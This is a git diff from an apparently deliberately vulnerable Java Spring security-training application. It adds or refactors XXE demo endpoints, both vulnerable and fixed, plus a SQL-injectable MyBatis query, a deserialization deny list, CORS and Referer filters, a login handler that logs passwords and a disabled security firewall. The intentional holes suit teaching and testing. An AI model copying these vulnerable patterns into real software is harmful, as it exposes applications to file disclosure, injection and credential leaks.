for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
- buf.append( node.getNodeName() + ": " + node.getTextContent() + "\n" );
+ buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
- System.out.println(buf.toString());
return buf.toString();
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST)
- @ResponseBody
- public String DocumentBuilder(HttpServletRequest request) {
+ // 有回显
+ @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST)
+ public String DocumentBuilderVuln02(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
- StringReader sr = new StringReader(xml_con);
+ StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
- StringBuffer result = new StringBuffer();
+ StringBuilder result = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
@@ -278,89 +280,74 @@ public String DocumentBuilder(HttpServletRequest request) {
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
// 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
- if(child.item(j).getNodeType() == Node.ELEMENT_NODE) {
- result.append( node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n" );
+ if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
+ result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
}
}
}
sr.close();
- System.out.println(result.toString());
return result.toString();
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/DocumentBuilder_fix", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_DocumentBuilder_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST)
+ public String DocumentBuilderSec(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
- StringReader sr = new StringReader(xml_con);
+ StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
- Document document = db.parse(is); // parse xml
+ db.parse(is); // parse xml
sr.close();
-
- return "test";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+ return "DocumentBuilder xxe security code";
}
- @RequestMapping(value = "/DocumentBuilder_xinclude", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) {
+ @RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST)
+ public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
DocumentBuilder db = dbf.newDocumentBuilder();
- StringReader sr = new StringReader(xml_con);
+ StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
-
- for (int i = 0; i < rootNodeList.getLength(); i++) {
- Node rootNode = rootNodeList.item(i);
- NodeList xxe = rootNode.getChildNodes();
- for (int j = 0; j < xxe.getLength(); j++) {
- Node xxeNode = xxe.item(j);
- // 测试不能blind xxe,所以强行加了一个回显
- System.out.println("xxeNode: " + xxeNode.getNodeValue());
- }
-
- }
+ response(rootNodeList);
sr.close();
- return "test";
+ return "DocumentBuilder xinclude xxe vuln code";
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
}
- @RequestMapping(value = "/DocumentBuilder_xinclude_fix", method = RequestMethod.POST)
- @ResponseBody
- public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) {
+ @RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST)
+ public String DocumentBuilderXincludeSec(HttpServletRequest request) {
try {
- String xml_con = getBody(request);
- System.out.println(xml_con);
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
@@ -368,48 +355,98 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) {
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+
DocumentBuilder db = dbf.newDocumentBuilder();
- StringReader sr = new StringReader(xml_con);
+ StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
+ response(rootNodeList);
- for (int i = 0; i < rootNodeList.getLength(); i++) {
- Node rootNode = rootNodeList.item(i);
- NodeList xxe = rootNode.getChildNodes();
- for (int j = 0; j < xxe.getLength(); j++) {
- Node xxeNode = xxe.item(j);
- // 测试不能blind xxe,所以强行加了一个回显
- System.out.println("xxeNode: " + xxeNode.getNodeValue());
- }
+ sr.close();
+ } catch (Exception e) {
+ logger.error(e.toString());
+ return EXCEPT;
+ }
+ return "DocumentBuilder xinclude xxe vuln code";
+ }
- }
- sr.close();
- return "test";
+ @PostMapping("/XMLReader/vuln")
+ public String XMLReaderVuln(HttpServletRequest request) {
+ try {
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
+
+ SAXParserFactory spf = SAXParserFactory.newInstance();
+ SAXParser saxParser = spf.newSAXParser();
+ XMLReader xmlReader = saxParser.getXMLReader();
+ xmlReader.parse(new InputSource(new StringReader(body)));
+
} catch (Exception e) {
- System.out.println(e);
- return "except";
+ logger.error(e.toString());
+ return EXCEPT;
}
+
+ return "XMLReader xxe vuln code";
}
- // 获取body数据
- private String getBody(HttpServletRequest request) throws IOException {
- InputStream in = request.getInputStream();
- BufferedReader br = new BufferedReader(new InputStreamReader(in));
- StringBuffer sb = new StringBuffer("");
- String temp;
- while ((temp = br.readLine()) != null) {
- sb.append(temp);
+
+ @PostMapping("/XMLReader/sec")
+ public String XMLReaderSec(HttpServletRequest request) {
+ try {
+ String body = WebUtils.getRequestBody(request);
+ logger.info(body);
+
+ SAXParserFactory spf = SAXParserFactory.newInstance();
+ SAXParser saxParser = spf.newSAXParser();
+ XMLReader xmlReader = saxParser.getXMLReader();
+ xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+ xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
+ xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+ xmlReader.parse(new InputSource(new StringReader(body)));
+
+ } catch (Exception e) {
+ logger.error(e.toString());
+ return EXCEPT;
}
- if (in != null) {
- in.close();
+ return "XMLReader xxe security code";
+ }
+
+
+ /**
+ * 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;
+ * 不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。
+ */
+ @PostMapping("/DocumentHelper/vuln")
+ public String DocumentHelper(HttpServletRequest req) {
+ try {
+ String body = WebUtils.getRequestBody(req);
+ DocumentHelper.parseText(body); // parse xml
+ } catch (Exception e) {
+ logger.error(e.toString());
+ return EXCEPT;
}
- if (br != null) {
- br.close();
+
+ return "DocumentHelper xxe vuln code";
+ }
+
+
+ private static void response(NodeList rootNodeList){
+ for (int i = 0; i < rootNodeList.getLength(); i++) {
+ Node rootNode = rootNodeList.item(i);
+ NodeList xxe = rootNode.getChildNodes();
+ for (int j = 0; j < xxe.getLength(); j++) {
+ Node xxeNode = xxe.item(j);
+ // 测试不能blind xxe,所以强行加了一个回显
+ logger.info("xxeNode: " + xxeNode.getNodeValue());
+ }
+
}
- return sb.toString();
}
-}
+ public static void main(String[] args) {
+ }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
new file mode 100644
index 00000000..3000d558
--- /dev/null
+++ b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
@@ -0,0 +1,75 @@
+package org.joychou.controller.othervulns;
+
+import org.apache.poi.xssf.usermodel.XSSFCell;
+import org.apache.poi.xssf.usermodel.XSSFRow;
+import org.apache.poi.xssf.usermodel.XSSFSheet;
+import org.apache.poi.xssf.usermodel.XSSFWorkbook;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.multipart.MultipartFile;
+
+import java.io.IOException;
+import java.util.Iterator;
+
+
+/**
+ * Desc: poi-ooxml xxe vuln code
+ * Usage: [Content_Type].xml http://localhost:8080/ooxml/upload
+ * Ref: https://www.itread01.com/hkpcyyp.html
+ * Fix: Update poi-ooxml to 3.15 or above.
+ * Vuln: 3.10 or below exist xxe vuln. 3.14 or below exist dos vuln. So 3.15 or above is safe version.
+ *
+ * @author JoyChou @2019-09-05
+ */
+@Controller
+@RequestMapping("ooxml")
+public class ooxmlXXE {
+
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+ @GetMapping("/upload")
+ public String index() {
+ return "xxe_upload"; // return xxe_upload.html page
+ }
+
+
+ @PostMapping("/readxlsx")
+ @ResponseBody
+ public String ooxml_xxe(MultipartFile file) throws IOException {
+ XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln
+
+ XSSFSheet sheet = wb.getSheetAt(0);
+ XSSFRow row;
+ XSSFCell cell;
+
+ Iterator rows = sheet.rowIterator();
+ StringBuilder sbResult = new StringBuilder();
+
+ while (rows.hasNext()) {
+
+ row = (XSSFRow) rows.next();
+ Iterator cells = row.cellIterator();
+
+ while (cells.hasNext()) {
+ cell = (XSSFCell) cells.next();
+
+ if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {
+ sbResult.append(cell.getStringCellValue()).append(" ");
+ } else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {
+ sbResult.append(cell.getNumericCellValue()).append(" ");
+ } else {
+ logger.info("errors");
+ }
+ }
+ }
+
+ return sbResult.toString();
+ }
+}
diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
new file mode 100644
index 00000000..ec054ffd
--- /dev/null
+++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
@@ -0,0 +1,44 @@
+package org.joychou.controller.othervulns;
+
+import com.monitorjbl.xlsx.StreamingReader;
+import org.apache.poi.ss.usermodel.Workbook;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.multipart.MultipartFile;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+
+
+/**
+ * Desc: xlsx-streamer xxe vuln code
+ * Usage: xl/workbook.xml
+ * Ref: https://www.itread01.com/hkpcyyp.html
+ * Fix: update xlsx-streamer to 2.1.0 or above
+ *
+ * @author JoyChou @2019-09-05
+ */
+@Controller
+@RequestMapping("xlsx-streamer")
+public class xlsxStreamerXXE {
+
+
+ @GetMapping("/upload")
+ public String index() {
+ return "xxe_upload"; // return xxe_upload.html page
+ }
+
+
+ @PostMapping("/readxlsx")
+ public void xllx_streamer_xxe(MultipartFile file) throws IOException {
+ StreamingReader.builder().open(file.getInputStream());
+ }
+
+
+ public static void main(String[] args) throws Exception {
+ StreamingReader.builder().open((new FileInputStream("poc.xlsx")));
+ }
+}
diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java
new file mode 100644
index 00000000..1336f571
--- /dev/null
+++ b/src/main/java/org/joychou/dao/User.java
@@ -0,0 +1,32 @@
+package org.joychou.dao;
+
+import java.io.Serializable;
+
+public class User implements Serializable {
+ private static final long serialVersionUID = 1L;
+ private Integer id;
+ private String username;
+ private String password;
+
+ public Integer getId() {
+ return id;
+ }
+ public void setId(Integer id) {
+ this.id = id;
+ }
+
+ public String getUsername() {
+ return username;
+ }
+ public void setUsername(String username) {
+ this.username = username;
+ }
+
+ public String getPassword() {
+ return password;
+ }
+ public void setPassword(String password) {
+ this.password = password;
+ }
+
+}
diff --git a/src/main/java/org/joychou/filter/BaseCorsFilter.java b/src/main/java/org/joychou/filter/BaseCorsFilter.java
new file mode 100644
index 00000000..9987464f
--- /dev/null
+++ b/src/main/java/org/joychou/filter/BaseCorsFilter.java
@@ -0,0 +1,35 @@
+package org.joychou.filter;
+
+import org.springframework.core.Ordered;
+import org.springframework.core.annotation.Order;
+import org.springframework.stereotype.Component;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+import org.springframework.web.filter.CorsFilter;
+
+/**
+ * 由于CorsFilter和spring security冲突,所以改为下面的代码。
+ */
+@Component
+@Order(Ordered.HIGHEST_PRECEDENCE)
+public class BaseCorsFilter extends CorsFilter {
+
+ public BaseCorsFilter() {
+ super(configurationSource());
+ }
+
+ private static UrlBasedCorsConfigurationSource configurationSource() {
+ CorsConfiguration config = new CorsConfiguration();
+ config.setAllowCredentials(true);
+ config.addAllowedOrigin("joychou.org"); // 不支持
+ config.addAllowedOrigin("http://test.joychou.me");
+ config.addAllowedHeader("*");
+ config.addAllowedMethod("GET");
+ config.addAllowedMethod("POST");
+
+ UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
+ source.registerCorsConfiguration("/cors/sec/corsFilter", config);
+
+ return source;
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
new file mode 100644
index 00000000..32195a27
--- /dev/null
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -0,0 +1,60 @@
+package org.joychou.filter;
+
+
+import javax.servlet.*;
+import javax.servlet.annotation.WebFilter;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+/**
+ * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。
+ *
+ * @author JoyChou @ 2019.12.19
+ */
+@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
+public class OriginFilter implements Filter {
+
+ @Override
+ public void init(FilterConfig filterConfig) throws ServletException {
+
+ }
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ @Override
+ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
+ throws IOException, ServletException {
+
+ HttpServletRequest request = (HttpServletRequest) req;
+ HttpServletResponse response = (HttpServletResponse) res;
+
+ String origin = request.getHeader("Origin");
+ logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());
+
+ // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑
+ if (origin != null && SecurityUtil.checkURL(origin) == null) {
+ logger.error("[-] Origin check error. " + "Origin: " + origin +
+ "\tCurrent url:" + request.getRequestURL());
+ response.setStatus(response.SC_FORBIDDEN);
+ response.getWriter().println("Invaid cors config by joychou.");
+ return;
+ }
+
+ response.setHeader("Access-Control-Allow-Origin", origin);
+ response.setHeader("Access-Control-Allow-Credentials", "true");
+ response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION");
+
+ filterChain.doFilter(req, res);
+ }
+
+ @Override
+ public void destroy() {
+
+ }
+}
diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
new file mode 100644
index 00000000..30a914f3
--- /dev/null
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -0,0 +1,85 @@
+package org.joychou.filter;
+
+import javax.servlet.*;
+import javax.servlet.annotation.WebFilter;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+import org.apache.commons.lang.StringUtils;
+import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.util.AntPathMatcher;
+import org.springframework.util.PathMatcher;
+
+
+/**
+ * Check referer for all GET requests with callback parameters.
+ * If the check of referer fails, a 403 forbidden error page will be returned.
+ *
+ * Still need to add @ServletComponentScan annotation in Application.java.
+ */
+@WebFilter(filterName = "referFilter", urlPatterns = "/*")
+public class ReferFilter implements Filter {
+
+ @Override
+ public void init(FilterConfig filterConfig) throws ServletException {
+
+ }
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ @Override
+ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
+ throws IOException, ServletException {
+
+ HttpServletRequest request = (HttpServletRequest) req;
+ HttpServletResponse response = (HttpServletResponse) res;
+ String refer = request.getHeader("referer");
+ PathMatcher matcher = new AntPathMatcher();
+ boolean isMatch = false;
+
+ // 获取要校验Referer的Uri
+ for (String uri : WebConfig.getReferUris()) {
+ if (matcher.match(uri, request.getRequestURI())) {
+ isMatch = true;
+ break;
+ }
+ }
+
+ if (!isMatch) {
+ filterChain.doFilter(req, res);
+ return;
+ }
+
+ if (!WebConfig.getReferSecEnabled()) {
+ filterChain.doFilter(req, res);
+ return;
+ }
+
+ // Check referer for all GET requests with callback parameters.
+
+ String reqCallback = request.getParameter(WebConfig.getBusinessCallback());
+ if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) {
+ // If the check of referer fails, a 403 forbidden error page will be returned.
+ if (SecurityUtil.checkURL(refer) == null) {
+ logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
+ + "Referer: " + refer);
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+ response.getWriter().write(" Referer check error.");
+ response.flushBuffer();
+ return;
+ }
+ }
+
+
+ filterChain.doFilter(req, res);
+ }
+
+ @Override
+ public void destroy() {
+
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java
new file mode 100644
index 00000000..b88fb561
--- /dev/null
+++ b/src/main/java/org/joychou/mapper/UserMapper.java
@@ -0,0 +1,30 @@
+package org.joychou.mapper;
+
+import org.apache.ibatis.annotations.Mapper;
+import org.apache.ibatis.annotations.Param;
+import org.apache.ibatis.annotations.Select;
+import org.joychou.dao.User;
+
+import java.util.List;
+
+@Mapper
+public interface UserMapper {
+
+ /**
+ * If using simple sql, we can use annotation. Such as @Select @Update.
+ * If using ${username}, application will send a error.
+ */
+ @Select("select * from users where username = #{username}")
+ User findByUserName(@Param("username") String username);
+
+ @Select("select * from users where username = '${username}'")
+ List findByUserNameVuln01(@Param("username") String username);
+
+ List findByUserNameVuln02(String username);
+ List findByUserNameVuln03(@Param("order") String order);
+
+ User findById(Integer id);
+
+ User OrderByUsername();
+
+}
diff --git a/src/main/java/org/joychou/security/AntObjectInputStream.java b/src/main/java/org/joychou/security/AntObjectInputStream.java
new file mode 100644
index 00000000..ef332360
--- /dev/null
+++ b/src/main/java/org/joychou/security/AntObjectInputStream.java
@@ -0,0 +1,80 @@
+package org.joychou.security;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.*;
+
+/**
+ * RASP:Hook java/io/ObjectInputStream类的resolveClass方法
+ * RASP: https://github.com/baidu/openrasp/blob/master/agent/java/engine/src/main/java/com/baidu/openrasp/hook/DeserializationHook.java
+ *
+ * Run main method to test.
+ */
+public class AntObjectInputStream extends ObjectInputStream {
+
+ protected final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class);
+
+ public AntObjectInputStream(InputStream inputStream) throws IOException {
+ super(inputStream);
+ }
+
+ /**
+ * 只允许反序列化SerialObject class
+ *
+ * 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。
+ * 类似fastjson通用类的反序列化就不能校验。
+ * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。
+ *
+ */
+ @Override
+ protected Class> resolveClass(final ObjectStreamClass desc)
+ throws IOException, ClassNotFoundException
+ {
+ String className = desc.getName();
+
+ // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
+ logger.info("Deserialize class name: " + className);
+
+ String[] denyClasses = {"java.net.InetAddress",
+ "org.apache.commons.collections.Transformer",
+ "org.apache.commons.collections.functors"};
+
+ for (String denyClass : denyClasses) {
+ if (className.startsWith(denyClass)) {
+ throw new InvalidClassException("Unauthorized deserialization attempt", className);
+ }
+ }
+
+ return super.resolveClass(desc);
+ }
+
+ public static void main(String args[]) throws Exception{
+ // 定义myObj对象
+ MyObject myObj = new MyObject();
+ myObj.name = "world";
+
+ // 创建一个包含对象进行反序列化信息的/tmp/object数据文件
+ FileOutputStream fos = new FileOutputStream("/tmp/object");
+ ObjectOutputStream os = new ObjectOutputStream(fos);
+
+ // writeObject()方法将myObj对象写入/tmp/object文件
+ os.writeObject(myObj);
+ os.close();
+
+ // 从文件中反序列化obj对象
+ FileInputStream fis = new FileInputStream("/tmp/object");
+ AntObjectInputStream ois = new AntObjectInputStream(fis); // AntObjectInputStream class
+
+ //恢复对象即反序列化
+ MyObject objectFromDisk = (MyObject)ois.readObject();
+ System.out.println(objectFromDisk.name);
+ ois.close();
+ }
+
+ static class MyObject implements Serializable {
+ public String name;
+ }
+}
+
+
diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
new file mode 100644
index 00000000..2e1df795
--- /dev/null
+++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java
@@ -0,0 +1,36 @@
+package org.joychou.security;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.http.MediaType;
+import org.springframework.security.access.AccessDeniedException;
+import org.springframework.security.web.access.AccessDeniedHandler;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * Csrf access denied page.
+ *
+ * @author JoyChou
+ */
+public class CsrfAccessDeniedHandler implements AccessDeniedHandler {
+
+ protected final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+ @Override
+ public void handle(HttpServletRequest request, HttpServletResponse response,
+ AccessDeniedException accessDeniedException) throws IOException {
+
+ logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" +
+ "Referer: " + request.getHeader("referer"));
+
+ response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html
+ response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden
+ response.getWriter().write("CSRF check failed by JoyChou."); // response contents
+ }
+
+}
+
diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java
new file mode 100644
index 00000000..6d67825f
--- /dev/null
+++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java
@@ -0,0 +1,52 @@
+package org.joychou.security;
+
+import org.apache.commons.lang.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.DefaultCorsProcessor;
+
+public class CustomCorsProcessor extends DefaultCorsProcessor {
+
+ private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class);
+
+
+ /**
+ * 跨域请求,会通过此方法检测请求源是否被允许
+ *
+ * @param config CORS 配置
+ * @param requestOrigin 请求源
+ * @return 如果请求源被允许,返回请求源;否则返回 null
+ */
+ @Override
+ protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
+
+ // 支持checkOrigin原装的域名配置
+ String result = super.checkOrigin(config, requestOrigin);
+ if (result != null) {
+ return result;
+ }
+
+ if (StringUtils.isBlank(requestOrigin)) {
+ return null;
+ }
+
+ return customCheckOrigin(requestOrigin);
+ }
+
+
+ /**
+ * 自定义校验requestOrigin
+ */
+ private String customCheckOrigin(String requestOrigin) {
+
+ if ( SecurityUtil.checkURL(requestOrigin) != null) {
+ logger.info("[+] Origin: " + requestOrigin );
+ return requestOrigin;
+ }
+ logger.error("[-] Origin: " + requestOrigin );
+ return null;
+ }
+
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
new file mode 100644
index 00000000..d7f12627
--- /dev/null
+++ b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java
@@ -0,0 +1,27 @@
+package org.joychou.security;
+
+import org.springframework.security.web.firewall.FirewalledRequest;
+import org.springframework.security.web.firewall.HttpFirewall;
+import org.springframework.security.web.firewall.RequestRejectedException;
+import org.springframework.stereotype.Component;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+@Component
+public class DisableSpringSecurityFirewall implements HttpFirewall {
+
+ @Override
+ public FirewalledRequest getFirewalledRequest(HttpServletRequest request) throws RequestRejectedException {
+ return new FirewalledRequest(request) {
+ @Override
+ public void reset() {
+ }
+ };
+ }
+
+ @Override
+ public HttpServletResponse getFirewalledResponse(HttpServletResponse response) {
+ return response;
+ }
+}
diff --git a/src/main/java/org/joychou/security/LoginFailureHandler.java b/src/main/java/org/joychou/security/LoginFailureHandler.java
new file mode 100644
index 00000000..eb41014e
--- /dev/null
+++ b/src/main/java/org/joychou/security/LoginFailureHandler.java
@@ -0,0 +1,32 @@
+package org.joychou.security;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.http.MediaType;
+import org.springframework.security.core.AuthenticationException;
+import org.springframework.security.web.authentication.AuthenticationFailureHandler;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+
+
+public class LoginFailureHandler implements AuthenticationFailureHandler {
+
+ protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ @Override
+ public void onAuthenticationFailure(HttpServletRequest request,
+ HttpServletResponse response, AuthenticationException exception)
+ throws ServletException, IOException {
+
+ logger.info("Login failed. " + request.getRequestURL() +
+ " username: " + request.getParameter("username") +
+ " password: " + request.getParameter("password") );
+
+ response.setContentType(MediaType.APPLICATION_JSON_VALUE);
+ response.getWriter().write("{\"code\":1, \"message\":\"Login failed.\"}");
+ }
+
+}
diff --git a/src/main/java/org/joychou/security/LoginSuccessHandler.java b/src/main/java/org/joychou/security/LoginSuccessHandler.java
new file mode 100644
index 00000000..d588818b
--- /dev/null
+++ b/src/main/java/org/joychou/security/LoginSuccessHandler.java
@@ -0,0 +1,51 @@
+package org.joychou.security;
+
+import com.alibaba.fastjson.JSON;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.http.MediaType;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
+import org.springframework.security.web.savedrequest.HttpSessionRequestCache;
+import org.springframework.security.web.savedrequest.SavedRequest;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class LoginSuccessHandler implements AuthenticationSuccessHandler {
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ @Override
+ public void onAuthenticationSuccess(HttpServletRequest request,
+ HttpServletResponse response, Authentication authentication)
+ throws ServletException, IOException {
+
+ logger.info("USER " + authentication.getName()+ " LOGIN SUCCESS.");
+
+ SavedRequest savedRequest = new HttpSessionRequestCache().getRequest(request, response);
+ String originUrl = "";
+ try {
+ originUrl = savedRequest.getRedirectUrl();
+ } catch (Exception e) {
+ logger.debug(e.toString());
+ }
+
+ if (savedRequest != null) {
+ logger.info("Original url is: " + originUrl);
+ }
+
+ Map content = new HashMap<>();
+ content.put("code", "0");
+ content.put("message", "Login success");
+ content.put("redirectUrl", originUrl);
+ // 直接进行sendRedirect到登录前的url,会重定向失败。具体原因可google ajax and sendRedirect
+ response.setContentType(MediaType.APPLICATION_JSON_VALUE);
+ response.getWriter().write(JSON.toJSONString(content));
+ }
+}
diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java
new file mode 100644
index 00000000..ee962846
--- /dev/null
+++ b/src/main/java/org/joychou/security/SecurityUtil.java
@@ -0,0 +1,255 @@
+package org.joychou.security;
+
+import org.joychou.config.WebConfig;
+import org.joychou.security.ssrf.SSRFChecker;
